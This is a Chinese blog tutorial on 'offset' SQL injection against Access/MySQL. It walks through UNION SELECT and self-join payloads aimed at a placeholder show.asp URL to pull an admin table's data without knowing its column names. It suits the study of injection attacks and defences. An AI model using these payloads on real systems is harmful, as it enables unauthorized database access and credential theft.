mysql偏移注入_偏移注入 - Michae1_('_')t - 博客园

本文详细介绍了MySQL偏移注入的原理和流程,包括如何判断字段数、显示位置,以及利用偏移注入进行数据获取的方法。通过示例展示了如何在无法猜解列名的情况下,通过union select和order by进行注入操作,特别提到了Access数据库中的应用和隐性显位的处理。
摘要由CSDN通过智能技术生成

0x00:前言

应用场景:Access、mysql数据库,知道表名,但是列名猜解不出来。

偏移注入是access比较独有的一种注入手段,很有特点(人品)的注入方式,一般用于在猜解了表名但是没有猜解出列名的情况下使用

0x01:流程

(1)注入点

(2)判断字段数

order by

(3)判断显示位置

union select 1,2,3,4,5,6...... from table

注:还有隐性显位!例如:

表面上只有这些

080b0d7ec9b2fb3940f24c7430716e10.png

查看页面源码

c85563763573d40b9c5ded31add9e14c.png

(4)偏移注入

判断admin 表的列数

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,* from admin     返回错误

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin

.......

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin    返回正确

说明  admin 表中有6个字段

偏移注入的计算

order by 出来的字段数减去 * 号前的字段数,然后再用order by 出来的字段数减去2倍刚才得出来的答案

* = 6个字符

2 × * = 12个字符

22 - 12 = 10个字符

(5)数据

一级偏移:

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

注:查看源码,有的是隐性显位

二级偏移:

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

0x02:总结

注意隐性显位

应用条件(抄别人的)核心问题:

需要存在注入的当前表的列数 大于 目标表的列数

c199a8c44d85c62a2dc045b44fa9b8d3.png

别人的笔记:

access偏移注入:解决列名获取不到的情况,有部分几率会直接得到数据

1.猜字段数

12349824.htmlhttp://www.xxx.com/show.asp?id=123 order by 20 页面返回正确

12349824.htmlhttp://www.xxx.com/show.asp?id=123 order by 21 页面返回错误

2.猜表名:

12349824.htmlhttp://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin

返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:

3.猜表下的字段数:

为了让语句正确,用*来加长字段数:

12349824.htmlhttp://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错)

… …

12349824.htmlhttp://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)

此时就发现了admin表下有四个字段(20-16=4)。

4.inner join 连接查询:

inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)

首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。

12349824.htmlhttp://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on?a.id = b.id)

12349824.htmlhttp://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join?admin as b on a.id = b.id)

上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字,再次使用inner join查询:

12349824.htmlhttp://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as?b on a.id=b.id) inner join admin as c on a.id=c.id)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值